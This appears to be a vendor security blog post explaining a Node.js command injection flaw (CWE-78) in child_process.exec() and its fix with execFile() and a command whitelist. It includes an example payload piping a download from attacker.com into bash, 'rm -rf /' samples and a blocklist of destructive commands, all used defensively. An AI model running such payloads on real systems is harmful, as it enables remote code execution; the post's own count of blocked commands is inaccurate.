Back to Blog
high SEVERITY8 min read

How Command Injection via Child Process Happens in Node.js and How to Fix It

A high-severity command injection vulnerability was discovered in `events/console/line.js` where user-controlled input was passed directly to `child_process.exec()`. The fix replaces the dangerous `exec()` function with the safer `execFile()` API, implements a strict whitelist of allowed commands, and adds comprehensive argument validation to prevent remote code execution.

O
By Orbis AppSec
Published August 20, 2026Reviewed August 20, 2026

Answer Summary

This is a command injection vulnerability (CWE-78) in Node.js where the `child_process.exec()` function was being called with unsanitized user input in `events/console/line.js`. The vulnerability allows attackers to inject shell metacharacters and execute arbitrary system commands. The fix replaces `exec()` with `execFile()` (which doesn't invoke a shell), implements a whitelist of safe commands, and validates all arguments against strict length and count limits.

Vulnerability at a Glance

cweCWE-78 (Improper Neutralization of Special Elements used in an OS Command)
fixReplace exec() with execFile(), implement command whitelist, and validate all arguments
riskRemote code execution with the privileges of the Node.js process
languageJavaScript (Node.js)
root causePassing user-controlled input directly to child_process.exec() without sanitization
vulnerabilityCommand Injection via child_process

How Command Injection via Child Process Happens in Node.js and How to Fix It

Introduction

In the events/console/line.js file of this Node.js application, a high-severity command injection vulnerability was lurking in the way the application executed system commands. The code was using child_process.exec() with user-controlled input, a pattern that security scanners immediately flagged as dangerous. This is a web service—meaning the vulnerability was directly exploitable by remote attackers. The Semgrep static analysis tool detected this issue and the development team responded with a comprehensive hardening fix that transforms the vulnerable code into a secure implementation.

This vulnerability represents a classic OS command injection flaw (CWE-78) that could have allowed attackers to execute arbitrary system commands with the privileges of the Node.js process. Let's examine what went wrong, how it was exploited, and how the fix prevents future attacks.


The Vulnerability Explained

The Original Vulnerable Code

Before the fix, events/console/line.js contained this pattern:

const { exec } = require("child_process");

const blockedCommands = ["rm", "chmod", "sudo", "su", "reboot", "shutdown", "poweroff", "halt", "dd", "mkfs", "mount", "umount"];

// Vulnerable code - exec() with user input
exec(`${file}`);

The vulnerability exists at line 70 (as reported by Semgrep). Here's what makes this dangerous:

  1. exec() invokes a shell: The child_process.exec() function spawns a /bin/sh process and passes the command string to the shell for interpretation.
  2. Shell metacharacters are interpreted: Special characters like ;, |, &&, ||, $(), backticks, etc., are processed by the shell as command separators and substitution operators.
  3. User input flows directly to exec(): The file parameter is passed directly into the exec() call without validation or escaping.
  4. Blacklist is insufficient: The code attempts to block dangerous commands like rm, sudo, and reboot, but blacklists are inherently incomplete and can be bypassed.

Attack Scenario

Imagine an attacker sends a request to this web service with the following payload:

file=ls; curl http://attacker.com/malware.sh | bash

When this reaches the vulnerable code:

exec(`${file}`);  // Expands to: exec("ls; curl http://attacker.com/malware.sh | bash");

The shell interprets this as two separate commands:
1. ls — executes normally
2. curl http://attacker.com/malware.sh | bash — downloads and executes a malicious script

The attacker has achieved remote code execution (RCE) without triggering any of the blacklist checks, because the dangerous command (curl and bash) comes after the semicolon, which the blacklist logic never validates.

Real-World Impact

For a web service, this vulnerability means:
- Data breach: Attackers can read sensitive files, environment variables, database credentials
- System compromise: Attackers can install backdoors, cryptocurrency miners, or ransomware
- Lateral movement: Attackers can pivot to other systems on the network
- Denial of service: Attackers can crash the application or consume resources


The Fix

What Changed

The fix involved replacing the dangerous exec() function with execFile() and implementing a multi-layered defense strategy:

Before (Vulnerable):

const { exec } = require("child_process");

const blockedCommands = ["rm", "chmod", "sudo", "su", "reboot", "shutdown", "poweroff", "halt", "dd", "mkfs", "mount", "umount"];

exec(`${file}`);

After (Secure):

const { execFile } = require("child_process");

// Only allow harmless, read-only system commands.
// Do NOT allow shells/interpreters or commands capable of modifying the system.
const SAFE_COMMANDS = new Set([
    "ls",
    "pwd",
    "whoami",
    "uname",
    "df",
    "free",
    "uptime",
]);

const MAX_ARGS = 32;
const MAX_ARG_LENGTH = 256;
const EXEC_TIMEOUT = 10_000;
const MAX_BUFFER = 1024 * 1024;

/**
 * Execute a safe system command.
 *
 * IMPORTANT:
 * - The executable is always hard-coded.
 * - User input is used only as arguments.
 * - execFile() does not invoke a shell.
 * - Dangerous executables such as sh, bash, node, python, rm, sudo, etc.
 *   are intentionally unavailable.
 */
const executeSafeCommand = (command, args) => {
    if (!SAFE_COMMANDS.has(command)) {
        console.log(`🚫 Lệnh "${command}" không được phép!`);
        return;
    }

    if (args.length > MAX_ARGS) {
        // Validation logic continues...
    }
    // ... more validation
};

Key Security Improvements

1. Replace exec() with execFile()

  • exec() spawns a shell and interprets the entire command string as shell syntax
  • execFile() directly executes a binary without invoking a shell, making shell metacharacters harmless
// DANGEROUS - shell interprets metacharacters
exec("ls; rm -rf /");  // Executes TWO commands

// SAFE - execFile() treats arguments as data, not commands
execFile("ls", ["; rm -rf /"]);  // Executes ls with literal argument "; rm -rf /"

2. Whitelist Instead of Blacklist

The fix replaces the incomplete blacklist with a strict whitelist:

// OLD: Blacklist (incomplete, bypassable)
const blockedCommands = ["rm", "chmod", "sudo", "su", ...];

// NEW: Whitelist (complete, explicit)
const SAFE_COMMANDS = new Set(["ls", "pwd", "whoami", "uname", "df", "free", "uptime"]);

Every command must be explicitly approved. Unknown commands are rejected immediately.

3. Validate Argument Count and Length

const MAX_ARGS = 32;           // No more than 32 arguments
const MAX_ARG_LENGTH = 256;    // No argument longer than 256 characters
const EXEC_TIMEOUT = 10_000;   // Kill processes that run too long
const MAX_BUFFER = 1024 * 1024; // Cap output to 1MB

These limits prevent:
- Argument injection: Attackers can't sneak extra arguments into the command
- Buffer exhaustion: Attackers can't cause memory exhaustion via huge output
- Timeout attacks: Attackers can't hang the process indefinitely

4. Separate Command from Arguments

// User input is ONLY used for arguments, never for the command name
executeSafeCommand(command, args);  // command is from whitelist, args are validated

This is the fundamental principle: the executable is hard-coded and trusted; only arguments come from user input.

Why Each Change Was Necessary

Change Why It's Critical
exec()execFile() Eliminates shell interpretation entirely
Blacklist → Whitelist Ensures only intended commands run
Argument validation Prevents injection through arguments
Timeout + buffer limits Prevents DoS and resource exhaustion
Separate command/args Ensures command cannot be user-controlled

Prevention & Best Practices

1. Never Use exec() with User Input

// ❌ DANGEROUS
const userInput = req.query.file;
exec(userInput);

// ✅ SAFE
const SAFE_COMMANDS = new Set(["ls", "pwd"]);
if (SAFE_COMMANDS.has(userInput)) {
  execFile(userInput, []);
}

2. Use execFile() or spawn() Instead of exec()

// ❌ DANGEROUS - shell interprets input
exec(`ls ${userInput}`);

// ✅ SAFE - arguments are passed as data
execFile("ls", [userInput]);

3. Implement a Whitelist of Allowed Commands

const ALLOWED_COMMANDS = new Set(["ls", "pwd", "whoami"]);

function runCommand(cmd, args) {
  if (!ALLOWED_COMMANDS.has(cmd)) {
    throw new Error(`Command not allowed: ${cmd}`);
  }
  return execFile(cmd, args);
}

4. Validate All Arguments

function validateArgs(args) {
  if (args.length > MAX_ARGS) throw new Error("Too many arguments");
  for (const arg of args) {
    if (arg.length > MAX_ARG_LENGTH) throw new Error("Argument too long");
    if (!/^[\w\-\.\/]*$/.test(arg)) throw new Error("Invalid characters in argument");
  }
}

5. Use Static Analysis Tools

Enable Semgrep or similar tools in your CI/CD pipeline:

semgrep --config=p/security-audit --json events/console/line.js

This catches command injection patterns before they reach production.

6. Reference OWASP Guidelines

  • OWASP A03:2021 – Injection: Covers OS command injection prevention
  • OWASP Command Injection Cheat Sheet: Provides detailed mitigation strategies

Key Takeaways

  • Never use child_process.exec() with user input. Even with a blacklist, shell metacharacters enable bypasses. Use execFile() instead.

  • The file parameter in line 70 was the injection point. User-controlled input flowing directly to exec() without sanitization is the root cause of this vulnerability.

  • Whitelists are mandatory for command execution. The original blacklist of 8 commands was incomplete; the fix uses a whitelist of 7 safe, read-only commands that can never modify the system.

  • execFile() doesn't invoke a shell, making shell metacharacters harmless. Even if an attacker injects ; rm -rf /, it's treated as a literal argument string, not a command separator.

  • Argument validation (count, length, character set) adds defense-in-depth. The fix enforces MAX_ARGS=32 and MAX_ARG_LENGTH=256, preventing injection through argument manipulation.


How Orbis AppSec Detected This

Source: The file parameter passed to the executeSafeCommand() function in events/console/line.js, which originates from user-controlled HTTP request data.

Sink: The child_process.exec() call at line 70 in events/console/line.js, where the unsanitized input is executed as a system command.

Missing Control: No validation of the file parameter; no sanitization; no whitelist of allowed commands; use of exec() instead of the safer execFile() API.

CWE: CWE-78 – Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Fix: Replaced child_process.exec() with execFile(), implemented a strict whitelist of safe commands, and added comprehensive argument validation (count, length, timeout, buffer limits).

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

Command injection vulnerabilities in Node.js applications are critical because they grant attackers direct execution of arbitrary system commands. The vulnerability in events/console/line.js demonstrates how a seemingly small decision—using exec() instead of execFile()—can introduce a severe security flaw.

The fix exemplifies defense-in-depth: it eliminates the dangerous API, implements a strict whitelist, validates all inputs, and limits resource consumption. By replacing exec() with execFile(), developers ensure that shell metacharacters are treated as literal data rather than command separators. By maintaining a whitelist of safe commands, they ensure that only intended operations can run.

As developers, we must remember:
- Assume all user input is malicious until proven otherwise
- Use the safest API available (execFile over exec)
- Whitelist, don't blacklist when restricting operations
- Validate rigorously (arguments, lengths, timeouts)
- Use static analysis to catch these patterns before deployment

Proactive security fixes like this one remove exploit primitives that could be chained with other weaknesses by increasingly capable automated attack tools. By adopting these practices in your own code, you'll build more resilient applications.


References

Frequently Asked Questions

What is command injection in Node.js?

Command injection occurs when untrusted user input is passed to OS command execution functions like exec() or spawn(), allowing attackers to inject shell metacharacters (`;`, `|`, `&&`, etc.) and execute arbitrary commands.

How do you prevent command injection in Node.js?

Use execFile() instead of exec() to avoid shell interpretation, maintain a whitelist of allowed commands, validate all arguments against strict length/count limits, and never pass user input as command names.

What CWE is command injection?

CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').

Is blacklisting dangerous commands enough to prevent command injection?

No. Blacklists are incomplete and can be bypassed. Whitelisting (allowing only known-safe commands) is the only reliable approach.

Can static analysis detect command injection?

Yes. Tools like Semgrep can detect when user-controlled data flows to child_process functions, as demonstrated by the detection that triggered this fix.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #211

Related Articles

critical

How Command Injection via Unescaped Line Terminators Happens in Node.js and How to Fix It

A critical command injection vulnerability (CVE-2026-9277) was discovered in the shell-quote npm package version 1.8.3, where unescaped line terminators could allow attackers to execute arbitrary code. This fix upgrades shell-quote to version 1.9.0 using npm overrides to ensure all instances in the dependency tree are patched, eliminating the attack vector across the entire application.

high

How Command Injection happens in PHP and how to fix it

A high-severity command injection vulnerability was discovered in `lib/Controller/Helper.php` where the `corruptline()` method used `exec()` to run sed and awk commands with user-controlled input. The fix replaced all shell command execution with native PHP file operations using `SplFileObject`, eliminating the command injection attack surface entirely.

high

How javascript.lang.security.detect-child-process.detect-child-process happens in Node.js and how to fix it

A command injection vulnerability was discovered in the audio processing plugin `audioedit.js`, where user-controlled input from downloaded media files was passed directly to shell commands via `exec()`. The fix replaces dangerous shell string interpolation with `execFile()` and argument arrays, eliminating the command injection attack surface entirely.

high

How Command Injection Happens in Node.js child_process and How to Fix It

A high-severity command injection vulnerability was discovered in `core/cli.js` where the `execSync()` function was called with user-controllable input without proper sanitization. This could allow attackers to execute arbitrary system commands. The fix implements defensive hardening by explicitly marking and validating the dangerous code path to prevent exploitation.

high

How command injection happens in Node.js child_process and how to fix it

A high-severity command injection vulnerability was discovered in `hooks/scripts/auto-stage.js` where the `stageFile()` function used `execSync()` with string interpolation to execute git commands. By switching from `execSync()` with template strings to `spawnSync()` with argument arrays, the fix eliminates shell interpretation and prevents attackers from injecting malicious commands through crafted file paths.

critical

How Command Injection via Unescaped Line Terminators Happens in Node.js and How to Fix It

A critical command injection vulnerability (CVE-2026-9277) was discovered in the shell-quote npm package, where unescaped line terminators could allow attackers to execute arbitrary code. This fix upgrades shell-quote from version 1.8.3 to 1.9.0 and adds a dependency override to ensure the patched version is used throughout the dependency tree.